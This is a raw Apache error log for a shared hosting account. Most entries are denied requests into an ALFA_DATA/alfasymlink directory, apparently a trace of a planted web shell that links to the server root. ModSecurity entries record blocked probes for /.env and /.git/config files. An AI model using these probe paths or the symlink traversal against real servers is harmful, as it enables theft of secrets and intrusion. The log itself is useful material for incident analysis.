[Sun Oct 25 16:58:52.088350 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 50.104.89.217:37847] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/destroy_by_rcu
[Sun Oct 25 16:58:53.813806 2026] [core:error] [pid 2899590:tid 2899590] (13)Permission denied: [client 79.110.128.133:13102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/destroy_by_rcu
[Sun Oct 25 16:58:54.151197 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 52.201.155.215:40090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/remove
[Sun Oct 25 16:59:01.321781 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 46.59.236.252:61187] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/shrink
[Sun Oct 25 16:59:02.419040 2026] [ssl:error] [pid 2900213:tid 2900213] (70014)End of file found: [client 52.203.152.231:29658] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:59:04.324564 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 124.217.21.17:62257] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/shrink
[Sun Oct 25 16:59:06.240768 2026] [ssl:error] [pid 2900794:tid 2900794] (70014)End of file found: [client 52.45.92.83:21980] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:59:14.155443 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 52.23.112.144:22912] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:59:22.271552 2026] [ssl:error] [pid 2900794:tid 2900794] (70014)End of file found: [client 98.84.70.201:23947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:59:46.163386 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.90.73.206:56543] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:59:50.311316 2026] [ssl:error] [pid 2899790:tid 2899790] (5)Input/output error: [client 23.22.59.87:54749] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:59:52.912815 2026] [core:error] [pid 2899615:tid 2899615] (13)Permission denied: [client 162.212.211.20:15244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/red_zone
[Sun Oct 25 16:59:54.153225 2026] [core:error] [pid 2899576:tid 2899576] (13)Permission denied: [client 35.174.141.243:44026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:1d/eject
[Sun Oct 25 16:59:55.148624 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 185.237.230.127:4826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/red_zone
[Sun Oct 25 16:59:56.688886 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 174.65.181.130:55749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/red_zone
[Sun Oct 25 16:59:58.339598 2026] [ssl:error] [pid 2899616:tid 2899616] (70014)End of file found: [client 52.203.65.83:59381] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:00:02.176553 2026] [ssl:error] [pid 2899615:tid 2899615] (70014)End of file found: [client 54.152.163.42:14927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:00:05.001097 2026] [core:error] [pid 2899576:tid 2899576] (13)Permission denied: [client 148.52.228.90:1835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/objs_per_slab
[Sun Oct 25 17:00:10.375705 2026] [ssl:error] [pid 2900794:tid 2900794] (70014)End of file found: [client 34.203.111.15:65059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:00:14.692139 2026] [ssl:error] [pid 2899615:tid 2899615] (70014)End of file found: [client 85.208.96.201:45356] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:00:18.140296 2026] [core:error] [pid 2899602:tid 2899602] (13)Permission denied: [client 204.152.81.178:42175] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/objs_per_slab
[Sun Oct 25 17:00:22.143030 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 18.214.124.6:53362] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:00:30.750230 2026] [core:error] [pid 2899602:tid 2899602] (13)Permission denied: [client 103.130.72.222:44534] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/cpu_partial
[Sun Oct 25 17:00:34.856265 2026] [security2:error] [pid 2899790:tid 2899790] [client 190.5.38.165:19678] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at5t8uj6DCVEuk3Dl4K4rAAAAAQ"], referer: https://paceggweser.blogspot.com/
[Sun Oct 25 17:00:40.610064 2026] [core:error] [pid 2899602:tid 2899602] (13)Permission denied: [client 185.191.171.4:21418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-256/slabs_cpu_partial
[Sun Oct 25 17:00:45.241180 2026] [security2:error] [pid 2897967:tid 2897967] [client 107.172.76.131:64653] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5t7xVtY6H0wJd2uaIKhQAAADA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 17:00:45.241251 2026] [security2:error] [pid 2897967:tid 2897967] [client 107.172.76.131:64653] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5t7xVtY6H0wJd2uaIKhQAAADA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 17:00:46.138046 2026] [ssl:error] [pid 2899616:tid 2899616] (70014)End of file found: [client 34.197.28.78:47630] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:00:50.681859 2026] [core:error] [pid 2899616:tid 2899616] (13)Permission denied: [client 41.83.206.130:44224] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/hwcache_align
[Sun Oct 25 17:00:53.427014 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 190.97.233.77:39796] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/hwcache_align
[Sun Oct 25 17:00:55.708075 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 176.253.14.98:41681] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/hwcache_align
[Sun Oct 25 17:00:58.138091 2026] [ssl:error] [pid 2899616:tid 2899616] (70014)End of file found: [client 54.83.23.103:5094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:01:02.171624 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 34.225.138.57:50552] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:01:03.845388 2026] [security2:error] [pid 2897949:tid 2897949] [client 107.172.76.131:64735] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5uA9BbBSGZ3kM8A7vC1AAAAB4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 17:01:03.845447 2026] [security2:error] [pid 2897949:tid 2897949] [client 107.172.76.131:64735] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5uA9BbBSGZ3kM8A7vC1AAAAB4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 17:01:10.189837 2026] [core:error] [pid 2899616:tid 2899616] (13)Permission denied: [client 54.84.102.81:55237] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory12/subsystem/uevent
[Sun Oct 25 17:01:11.995562 2026] [security2:error] [pid 2899920:tid 2899920] [client 172.235.210.84:54010] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at5uFx8fO9KwLgqLGMRBowAAAAc"]
[Sun Oct 25 17:01:11.995823 2026] [security2:error] [pid 2899920:tid 2899920] [client 172.235.210.84:54010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at5uFx8fO9KwLgqLGMRBowAAAAc"]
[Sun Oct 25 17:01:11.996103 2026] [security2:error] [pid 2899920:tid 2899920] [client 172.235.210.84:54010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at5uFx8fO9KwLgqLGMRBowAAAAc"]
[Sun Oct 25 17:01:12.396927 2026] [security2:error] [pid 2899619:tid 2899619] [client 172.235.210.84:54012] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at5uGPU7CHxL1Z61W2QT-wAAAD8"]
[Sun Oct 25 17:01:12.397179 2026] [security2:error] [pid 2899619:tid 2899619] [client 172.235.210.84:54012] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at5uGPU7CHxL1Z61W2QT-wAAAD8"]
[Sun Oct 25 17:01:12.397448 2026] [security2:error] [pid 2899619:tid 2899619] [client 172.235.210.84:54012] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at5uGPU7CHxL1Z61W2QT-wAAAD8"]
[Sun Oct 25 17:01:14.146421 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 98.82.59.253:18441] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:01:18.159005 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 3.218.35.239:31503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:01:26.139104 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 3.231.193.38:42339] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:01:26.355331 2026] [core:error] [pid 2899616:tid 2899616] (13)Permission denied: [client 51.39.246.143:15449] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/objects
[Sun Oct 25 17:01:29.640715 2026] [core:error] [pid 2901509:tid 2901509] (13)Permission denied: [client 131.0.199.167:13005] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/objects
[Sun Oct 25 17:01:30.126836 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 34.234.206.30:18712] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:01:31.301387 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 193.188.113.116:52092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/object_size
[Sun Oct 25 17:01:34.037461 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 124.183.15.23:49469] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/object_size
[Sun Oct 25 17:01:34.546828 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 176.29.29.4:3919] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/objects
[Sun Oct 25 17:01:35.613996 2026] [core:error] [pid 2901509:tid 2901509] (13)Permission denied: [client 138.88.182.44:50619] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/total_objects
[Sun Oct 25 17:01:36.029026 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 76.87.165.49:51527] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/object_size
[Sun Oct 25 17:01:36.157460 2026] [core:error] [pid 2901652:tid 2901652] (13)Permission denied: [client 176.61.48.250:55287] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/poison
[Sun Oct 25 17:01:37.432852 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 79.117.226.137:57350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/total_objects
[Sun Oct 25 17:01:41.397408 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 94.245.129.195:2930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/total_objects
[Sun Oct 25 17:01:42.119886 2026] [ssl:error] [pid 2901509:tid 2901509] (70014)End of file found: [client 100.28.118.16:16862] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:01:46.175616 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 18.204.89.56:21299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:01:50.247165 2026] [ssl:error] [pid 2901509:tid 2901509] (70014)End of file found: [client 98.82.66.172:6995] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:01:54.260515 2026] [ssl:error] [pid 2901652:tid 2901652] (70014)End of file found: [client 3.208.146.193:47711] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:02:14.386252 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 35.171.141.42:37504] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:02:18.771556 2026] [security2:error] [pid 2900724:tid 2900724] [client 197.237.179.144:39752] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at5uWgq378EUsgdToaoRwQAAAAU"], referer: https://paceggweser.blogspot.com/
[Sun Oct 25 17:02:22.124777 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 54.84.93.8:12153] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:02:26.216196 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 44.206.65.8:28420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:02:37.314288 2026] [core:error] [pid 2901652:tid 2901652] (13)Permission denied: [client 50.4.211.152:43687] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/object_size
[Sun Oct 25 17:02:39.759204 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 45.170.226.129:38792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/object_size
[Sun Oct 25 17:02:42.249919 2026] [ssl:error] [pid 2899538:tid 2899538] (70014)End of file found: [client 18.232.36.1:32297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:02:51.987122 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 74.88.192.29:35311] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/remote_node_defrag_ratio
[Sun Oct 25 17:02:58.410790 2026] [ssl:error] [pid 2901652:tid 2901652] (70014)End of file found: [client 18.213.240.226:35283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:03:02.137128 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 44.215.235.20:22604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:03:02.575033 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 41.221.207.138:10000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/remote_node_defrag_ratio
[Sun Oct 25 17:03:06.136079 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 34.202.88.37:35168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:03:14.161517 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 34.195.60.66:33481] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:03:22.241640 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 54.147.182.90:21729] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:03:35.210878 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 85.208.96.199:63924] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:03:40.127619 2026] [core:error] [pid 2901652:tid 2901652] (13)Permission denied: [client 95.161.61.60:49735] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/usersize
[Sun Oct 25 17:03:41.997903 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 90.243.93.180:44699] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/usersize
[Sun Oct 25 17:03:42.155249 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 44.223.193.255:35110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:03:44.011509 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 86.177.20.130:40471] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/usersize
[Sun Oct 25 17:03:46.140776 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 50.16.248.61:8876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:03:50.158596 2026] [ssl:error] [pid 2901652:tid 2901652] (70014)End of file found: [client 34.226.89.140:43753] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:04:02.146162 2026] [ssl:error] [pid 2901652:tid 2901652] (70014)End of file found: [client 100.25.120.246:36078] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:04:10.294084 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 3.211.181.86:35512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:04:14.176126 2026] [ssl:error] [pid 2899619:tid 2899619] (70014)End of file found: [client 34.194.165.45:58217] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:04:14.176349 2026] [security2:error] [pid 2899619:tid 2899619] [client 34.194.165.45:58217] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/ata_generic/module/coresize"] [unique_id "at5uzvU7CHxL1Z61W2QUAAAAAD8"]
[Sun Oct 25 17:04:14.176377 2026] [security2:error] [pid 2899619:tid 2899619] [client 34.194.165.45:58217] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/ata_generic/module/coresize"] [unique_id "at5uzvU7CHxL1Z61W2QUAAAAAD8"]
[Sun Oct 25 17:04:14.296761 2026] [core:error] [pid 2901652:tid 2901652] (13)Permission denied: [client 85.208.96.206:46658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/sanity_checks
[Sun Oct 25 17:04:18.152234 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 52.54.95.127:18533] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/Cavium PTP Driver/unbind
[Sun Oct 25 17:04:20.720559 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 85.208.96.197:65202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/total_objects
[Sun Oct 25 17:04:23.712050 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 41.173.31.58:43454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/alloc_calls
[Sun Oct 25 17:04:25.830658 2026] [core:error] [pid 2901652:tid 2901652] (13)Permission denied: [client 185.191.171.4:20020] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache_node/ctor
[Sun Oct 25 17:04:26.012417 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 177.248.47.25:63271] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/alloc_calls
[Sun Oct 25 17:04:28.230543 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 178.121.24.211:3051] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/alloc_calls
[Sun Oct 25 17:04:30.130291 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 100.29.34.97:6357] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:04:34.662450 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 35.173.18.61:2455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:04:38.154833 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 52.200.93.170:17479] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:04:42.318322 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 44.212.232.231:61013] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/device:05/physical_node/virtio1/driver/module/sections/__bug_table
[Sun Oct 25 17:04:46.284559 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 54.166.126.132:42285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:04:53.741350 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 68.44.158.179:33565] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/red_zone
[Sun Oct 25 17:04:55.174218 2026] [core:error] [pid 2901509:tid 2901509] (13)Permission denied: [client 209.173.194.127:18147] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/red_zone
[Sun Oct 25 17:04:55.645744 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 185.191.171.7:64274] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/cache_dma
[Sun Oct 25 17:04:57.090317 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 80.80.90.106:48148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/red_zone
[Sun Oct 25 17:04:58.136377 2026] [ssl:error] [pid 2900794:tid 2900794] (70014)End of file found: [client 100.29.128.75:25502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:05:05.804357 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 68.53.117.71:56154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/remote_node_defrag_ratio
[Sun Oct 25 17:05:06.240509 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 3.217.82.254:62736] AH02013: coalesce failed to read from data bucket
